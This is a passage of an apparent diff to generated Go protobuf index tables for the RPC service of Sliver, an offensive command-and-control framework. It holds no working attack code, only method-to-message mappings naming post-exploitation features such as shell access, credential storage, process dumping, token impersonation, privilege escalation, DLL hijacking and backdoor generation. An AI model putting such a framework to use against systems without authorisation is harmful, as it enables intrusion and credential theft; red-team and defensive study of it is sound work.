// 147: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq - 101, // 148: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq - 102, // 149: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq - 103, // 150: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq - 104, // 151: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq - 105, // 152: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession - 106, // 153: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession - 107, // 154: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq - 108, // 155: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq - 109, // 156: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq - 110, // 157: rpcpb.SliverRPC.RegisterWasmExtension:input_type -> sliverpb.RegisterWasmExtensionReq - 111, // 158: rpcpb.SliverRPC.ListWasmExtensions:input_type -> sliverpb.ListWasmExtensionsReq - 112, // 159: rpcpb.SliverRPC.ExecWasmExtension:input_type -> sliverpb.ExecWasmExtensionReq - 113, // 160: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq - 114, // 161: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq - 115, // 162: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq - 116, // 163: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq - 117, // 164: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq - 118, // 165: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq - 119, // 166: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq - 120, // 167: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq - 121, // 168: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks - 121, // 169: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks - 122, // 170: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData - 123, // 171: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel - 123, // 172: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel - 124, // 173: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData - 0, // 174: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty - 125, // 175: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version - 0, // 176: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty - 126, // 177: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators - 0, // 178: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty - 127, // 179: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure - 0, // 180: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty - 128, // 181: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions - 129, // 182: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response - 0, // 183: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty - 130, // 184: rpcpb.SliverRPC.MonitorListConfig:output_type -> clientpb.MonitoringProviders - 129, // 185: rpcpb.SliverRPC.MonitorAddConfig:output_type -> commonpb.Response - 129, // 186: rpcpb.SliverRPC.MonitorDelConfig:output_type -> commonpb.Response - 131, // 187: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.ListenerJob - 131, // 188: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.ListenerJob - 131, // 189: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.ListenerJob - 131, // 190: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.ListenerJob - 131, // 191: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.ListenerJob - 132, // 192: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons - 10, // 193: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon - 0, // 194: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty - 133, // 195: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks - 11, // 196: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask - 11, // 197: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask - 134, // 198: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs - 135, // 199: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob - 0, // 200: rpcpb.SliverRPC.RestartJobs:output_type -> commonpb.Empty - 136, // 201: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener - 15, // 202: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot - 0, // 203: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty - 15, // 204: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot - 15, // 205: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot - 137, // 206: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot - 16, // 207: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials - 0, // 208: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty - 0, // 209: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty - 0, // 210: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty - 17, // 211: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential - 16, // 212: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials - 16, // 213: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials - 17, // 214: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential - 138, // 215: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts - 18, // 216: rpcpb.SliverRPC.Host:output_type -> clientpb.Host - 0, // 217: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty - 0, // 218: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty - 139, // 219: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate - 140, // 220: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig - 0, // 221: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty - 140, // 222: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:output_type -> clientpb.ExternalImplantConfig - 139, // 223: rpcpb.SliverRPC.GenerateStage:output_type -> clientpb.Generate - 0, // 224: rpcpb.SliverRPC.StageImplantBuild:output_type -> commonpb.Empty - 141, // 225: rpcpb.SliverRPC.GetHTTPC2Profiles:output_type -> clientpb.HTTPC2Configs - 142, // 226: rpcpb.SliverRPC.GetHTTPC2ProfileByName:output_type -> clientpb.HTTPC2Config - 0, // 227: rpcpb.SliverRPC.SaveHTTPC2Profile:output_type -> commonpb.Empty - 29, // 228: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event - 0, // 229: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty - 143, // 230: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders - 29, // 231: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event - 0, // 232: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty - 0, // 233: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty - 144, // 234: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations - 32, // 235: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask - 0, // 236: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty - 145, // 237: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles - 33, // 238: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile - 0, // 239: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty - 34, // 240: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk - 0, // 241: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty - 0, // 242: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty - 139, // 243: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate - 146, // 244: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds - 0, // 245: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty - 147, // 246: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries - 148, // 247: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig - 149, // 248: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP - 150, // 249: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles - 0, // 250: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty - 37, // 251: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile - 151, // 252: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager - 152, // 253: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI - 153, // 254: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler - 154, // 255: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode - 155, // 256: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap - 156, // 257: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap - 157, // 258: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests - 0, // 259: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty - 158, // 260: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites - 42, // 261: rpcpb.SliverRPC.Website:output_type -> clientpb.Website - 0, // 262: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty - 42, // 263: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website - 42, // 264: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website - 42, // 265: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website - 45, // 266: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping - 159, // 267: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps - 160, // 268: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate - 161, // 269: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig - 162, // 270: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat - 163, // 271: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls - 164, // 272: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd - 164, // 273: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd - 165, // 274: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv - 166, // 275: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp - 167, // 276: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm - 168, // 277: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir - 169, // 278: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download - 170, // 279: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload - 171, // 280: rpcpb.SliverRPC.Grep:output_type -> sliverpb.Grep - 172, // 281: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod - 173, // 282: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown - 174, // 283: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes - 163, // 284: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls - 175, // 285: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd - 176, // 286: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm - 177, // 287: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump - 178, // 288: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs - 179, // 289: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate - 180, // 290: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf - 181, // 291: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem - 182, // 292: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task - 182, // 293: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task - 182, // 294: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task - 183, // 295: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly - 184, // 296: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate - 185, // 297: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute - 185, // 298: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute - 186, // 299: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload - 187, // 300: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll - 188, // 301: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot - 189, // 302: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner - 190, // 303: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener - 0, // 304: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty - 191, // 305: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners - 192, // 306: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph - 193, // 307: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo - 193, // 308: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo - 193, // 309: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo - 194, // 310: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken - 195, // 311: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo - 196, // 312: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv - 197, // 313: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv - 198, // 314: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor - 199, // 315: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead - 200, // 316: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite - 201, // 317: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey - 202, // 318: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey - 203, // 319: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList - 204, // 320: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList - 205, // 321: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand - 206, // 322: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack - 207, // 323: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs - 208, // 324: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener - 209, // 325: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners - 208, // 326: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener - 105, // 327: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession - 0, // 328: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty - 210, // 329: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension - 211, // 330: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension - 212, // 331: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions - 213, // 332: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension - 214, // 333: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions - 215, // 334: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension - 216, // 335: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward - 216, // 336: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward - 217, // 337: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks - 217, // 338: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks - 218, // 339: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders - 219, // 340: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers - 220, // 341: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell - 221, // 342: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd - 121, // 343: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks - 0, // 344: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty - 122, // 345: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData - 123, // 346: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel - 0, // 347: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty - 124, // 348: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData - 29, // 349: rpcpb.SliverRPC.Events:output_type -> clientpb.Event - 175, // [175:350] is the sub-list for method output_type - 0, // [0:175] is the sub-list for method input_type + 5, // 6: rpcpb.SliverRPC.ImplantHistory:input_type -> clientpb.ImplantCommand + 6, // 7: rpcpb.SliverRPC.GetImplantHistory:input_type -> clientpb.HistoryRequest + 0, // 8: rpcpb.SliverRPC.GetSessions:input_type -> commonpb.Empty + 0, // 9: rpcpb.SliverRPC.MonitorStart:input_type -> commonpb.Empty + 0, // 10: rpcpb.SliverRPC.MonitorStop:input_type -> commonpb.Empty + 0, // 11: rpcpb.SliverRPC.MonitorListConfig:input_type -> commonpb.Empty + 7, // 12: rpcpb.SliverRPC.MonitorAddConfig:input_type -> clientpb.MonitoringProvider + 7, // 13: rpcpb.SliverRPC.MonitorDelConfig:input_type -> clientpb.MonitoringProvider + 8, // 14: rpcpb.SliverRPC.StartMTLSListener:input_type -> clientpb.MTLSListenerReq + 9, // 15: rpcpb.SliverRPC.StartWGListener:input_type -> clientpb.WGListenerReq + 10, // 16: rpcpb.SliverRPC.StartDNSListener:input_type -> clientpb.DNSListenerReq + 11, // 17: rpcpb.SliverRPC.StartHTTPSListener:input_type -> clientpb.HTTPListenerReq + 11, // 18: rpcpb.SliverRPC.StartHTTPListener:input_type -> clientpb.HTTPListenerReq + 0, // 19: rpcpb.SliverRPC.GetBeacons:input_type -> commonpb.Empty + 12, // 20: rpcpb.SliverRPC.GetBeacon:input_type -> clientpb.Beacon + 12, // 21: rpcpb.SliverRPC.RmBeacon:input_type -> clientpb.Beacon + 12, // 22: rpcpb.SliverRPC.GetBeaconTasks:input_type -> clientpb.Beacon + 13, // 23: rpcpb.SliverRPC.GetBeaconTaskContent:input_type -> clientpb.BeaconTask + 13, // 24: rpcpb.SliverRPC.CancelBeaconTask:input_type -> clientpb.BeaconTask + 0, // 25: rpcpb.SliverRPC.GetJobs:input_type -> commonpb.Empty + 14, // 26: rpcpb.SliverRPC.KillJob:input_type -> clientpb.KillJobReq + 15, // 27: rpcpb.SliverRPC.RestartJobs:input_type -> clientpb.RestartJobReq + 16, // 28: rpcpb.SliverRPC.StartTCPStagerListener:input_type -> clientpb.StagerListenerReq + 17, // 29: rpcpb.SliverRPC.LootAdd:input_type -> clientpb.Loot + 17, // 30: rpcpb.SliverRPC.LootRm:input_type -> clientpb.Loot + 17, // 31: rpcpb.SliverRPC.LootUpdate:input_type -> clientpb.Loot + 17, // 32: rpcpb.SliverRPC.LootContent:input_type -> clientpb.Loot + 0, // 33: rpcpb.SliverRPC.LootAll:input_type -> commonpb.Empty + 0, // 34: rpcpb.SliverRPC.Creds:input_type -> commonpb.Empty + 18, // 35: rpcpb.SliverRPC.CredsAdd:input_type -> clientpb.Credentials + 18, // 36: rpcpb.SliverRPC.CredsRm:input_type -> clientpb.Credentials + 18, // 37: rpcpb.SliverRPC.CredsUpdate:input_type -> clientpb.Credentials + 19, // 38: rpcpb.SliverRPC.GetCredByID:input_type -> clientpb.Credential + 19, // 39: rpcpb.SliverRPC.GetCredsByHashType:input_type -> clientpb.Credential + 19, // 40: rpcpb.SliverRPC.GetPlaintextCredsByHashType:input_type -> clientpb.Credential + 19, // 41: rpcpb.SliverRPC.CredsSniffHashType:input_type -> clientpb.Credential + 0, // 42: rpcpb.SliverRPC.Hosts:input_type -> commonpb.Empty + 20, // 43: rpcpb.SliverRPC.Host:input_type -> clientpb.Host + 20, // 44: rpcpb.SliverRPC.HostRm:input_type -> clientpb.Host + 21, // 45: rpcpb.SliverRPC.HostIOCRm:input_type -> clientpb.IOC + 22, // 46: rpcpb.SliverRPC.Generate:input_type -> clientpb.GenerateReq + 23, // 47: rpcpb.SliverRPC.GenerateExternal:input_type -> clientpb.ExternalGenerateReq + 24, // 48: rpcpb.SliverRPC.GenerateExternalSaveBuild:input_type -> clientpb.ExternalImplantBinary + 25, // 49: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:input_type -> clientpb.ImplantBuild + 26, // 50: rpcpb.SliverRPC.GenerateStage:input_type -> clientpb.GenerateStageReq + 27, // 51: rpcpb.SliverRPC.StageImplantBuild:input_type -> clientpb.ImplantStageReq + 0, // 52: rpcpb.SliverRPC.GetHTTPC2Profiles:input_type -> commonpb.Empty + 28, // 53: rpcpb.SliverRPC.GetHTTPC2ProfileByName:input_type -> clientpb.C2ProfileReq + 29, // 54: rpcpb.SliverRPC.SaveHTTPC2Profile:input_type -> clientpb.HTTPC2ConfigReq + 30, // 55: rpcpb.SliverRPC.BuilderRegister:input_type -> clientpb.Builder + 31, // 56: rpcpb.SliverRPC.BuilderTrigger:input_type -> clientpb.Event + 0, // 57: rpcpb.SliverRPC.Builders:input_type -> commonpb.Empty + 32, // 58: rpcpb.SliverRPC.CrackstationRegister:input_type -> clientpb.Crackstation + 31, // 59: rpcpb.SliverRPC.CrackstationTrigger:input_type -> clientpb.Event + 33, // 60: rpcpb.SliverRPC.CrackstationBenchmark:input_type -> clientpb.CrackBenchmark + 0, // 61: rpcpb.SliverRPC.Crackstations:input_type -> commonpb.Empty + 34, // 62: rpcpb.SliverRPC.CrackTaskByID:input_type -> clientpb.CrackTask + 34, // 63: rpcpb.SliverRPC.CrackTaskUpdate:input_type -> clientpb.CrackTask + 35, // 64: rpcpb.SliverRPC.CrackFilesList:input_type -> clientpb.CrackFile + 35, // 65: rpcpb.SliverRPC.CrackFileCreate:input_type -> clientpb.CrackFile + 36, // 66: rpcpb.SliverRPC.CrackFileChunkUpload:input_type -> clientpb.CrackFileChunk + 36, // 67: rpcpb.SliverRPC.CrackFileChunkDownload:input_type -> clientpb.CrackFileChunk + 35, // 68: rpcpb.SliverRPC.CrackFileComplete:input_type -> clientpb.CrackFile + 35, // 69: rpcpb.SliverRPC.CrackFileDelete:input_type -> clientpb.CrackFile + 37, // 70: rpcpb.SliverRPC.Regenerate:input_type -> clientpb.RegenerateReq + 0, // 71: rpcpb.SliverRPC.ImplantBuilds:input_type -> commonpb.Empty + 38, // 72: rpcpb.SliverRPC.DeleteImplantBuild:input_type -> clientpb.DeleteReq + 0, // 73: rpcpb.SliverRPC.Canaries:input_type -> commonpb.Empty + 0, // 74: rpcpb.SliverRPC.GenerateWGClientConfig:input_type -> commonpb.Empty + 0, // 75: rpcpb.SliverRPC.GenerateUniqueIP:input_type -> commonpb.Empty + 0, // 76: rpcpb.SliverRPC.ImplantProfiles:input_type -> commonpb.Empty + 38, // 77: rpcpb.SliverRPC.DeleteImplantProfile:input_type -> clientpb.DeleteReq + 39, // 78: rpcpb.SliverRPC.SaveImplantProfile:input_type -> clientpb.ImplantProfile + 40, // 79: rpcpb.SliverRPC.MsfStage:input_type -> clientpb.MsfStagerReq + 41, // 80: rpcpb.SliverRPC.ShellcodeRDI:input_type -> clientpb.ShellcodeRDIReq + 0, // 81: rpcpb.SliverRPC.GetCompiler:input_type -> commonpb.Empty + 0, // 82: rpcpb.SliverRPC.GetMetasploitCompiler:input_type -> commonpb.Empty + 42, // 83: rpcpb.SliverRPC.ShellcodeEncoder:input_type -> clientpb.ShellcodeEncodeReq + 0, // 84: rpcpb.SliverRPC.ShellcodeEncoderMap:input_type -> commonpb.Empty + 0, // 85: rpcpb.SliverRPC.TrafficEncoderMap:input_type -> commonpb.Empty + 43, // 86: rpcpb.SliverRPC.TrafficEncoderAdd:input_type -> clientpb.TrafficEncoder + 43, // 87: rpcpb.SliverRPC.TrafficEncoderRm:input_type -> clientpb.TrafficEncoder + 0, // 88: rpcpb.SliverRPC.Websites:input_type -> commonpb.Empty + 44, // 89: rpcpb.SliverRPC.Website:input_type -> clientpb.Website + 44, // 90: rpcpb.SliverRPC.WebsiteRemove:input_type -> clientpb.Website + 45, // 91: rpcpb.SliverRPC.WebsiteAddContent:input_type -> clientpb.WebsiteAddContent + 45, // 92: rpcpb.SliverRPC.WebsiteUpdateContent:input_type -> clientpb.WebsiteAddContent + 46, // 93: rpcpb.SliverRPC.WebsiteRemoveContent:input_type -> clientpb.WebsiteRemoveContent + 47, // 94: rpcpb.SliverRPC.Ping:input_type -> sliverpb.Ping + 48, // 95: rpcpb.SliverRPC.Ps:input_type -> sliverpb.PsReq + 49, // 96: rpcpb.SliverRPC.Terminate:input_type -> sliverpb.TerminateReq + 50, // 97: rpcpb.SliverRPC.Ifconfig:input_type -> sliverpb.IfconfigReq + 51, // 98: rpcpb.SliverRPC.Netstat:input_type -> sliverpb.NetstatReq + 52, // 99: rpcpb.SliverRPC.Ls:input_type -> sliverpb.LsReq + 53, // 100: rpcpb.SliverRPC.Cd:input_type -> sliverpb.CdReq + 54, // 101: rpcpb.SliverRPC.Pwd:input_type -> sliverpb.PwdReq + 55, // 102: rpcpb.SliverRPC.Mv:input_type -> sliverpb.MvReq + 56, // 103: rpcpb.SliverRPC.Cp:input_type -> sliverpb.CpReq + 57, // 104: rpcpb.SliverRPC.Rm:input_type -> sliverpb.RmReq + 58, // 105: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq + 59, // 106: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq + 60, // 107: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq + 61, // 108: rpcpb.SliverRPC.Grep:input_type -> sliverpb.GrepReq + 62, // 109: rpcpb.SliverRPC.Chmod:input_type -> sliverpb.ChmodReq + 63, // 110: rpcpb.SliverRPC.Chown:input_type -> sliverpb.ChownReq + 64, // 111: rpcpb.SliverRPC.Chtimes:input_type -> sliverpb.ChtimesReq + 65, // 112: rpcpb.SliverRPC.MemfilesList:input_type -> sliverpb.MemfilesListReq + 66, // 113: rpcpb.SliverRPC.MemfilesAdd:input_type -> sliverpb.MemfilesAddReq + 67, // 114: rpcpb.SliverRPC.MemfilesRm:input_type -> sliverpb.MemfilesRmReq + 68, // 115: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq + 69, // 116: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq + 70, // 117: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq + 71, // 118: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq + 72, // 119: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq + 73, // 120: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq + 74, // 121: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq + 75, // 122: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq + 76, // 123: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq + 77, // 124: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq + 78, // 125: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq + 79, // 126: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq + 80, // 127: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq + 81, // 128: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq + 82, // 129: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq + 83, // 130: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq + 84, // 131: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq + 85, // 132: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq + 86, // 133: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq + 0, // 134: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty + 87, // 135: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq + 88, // 136: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq + 89, // 137: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq + 90, // 138: 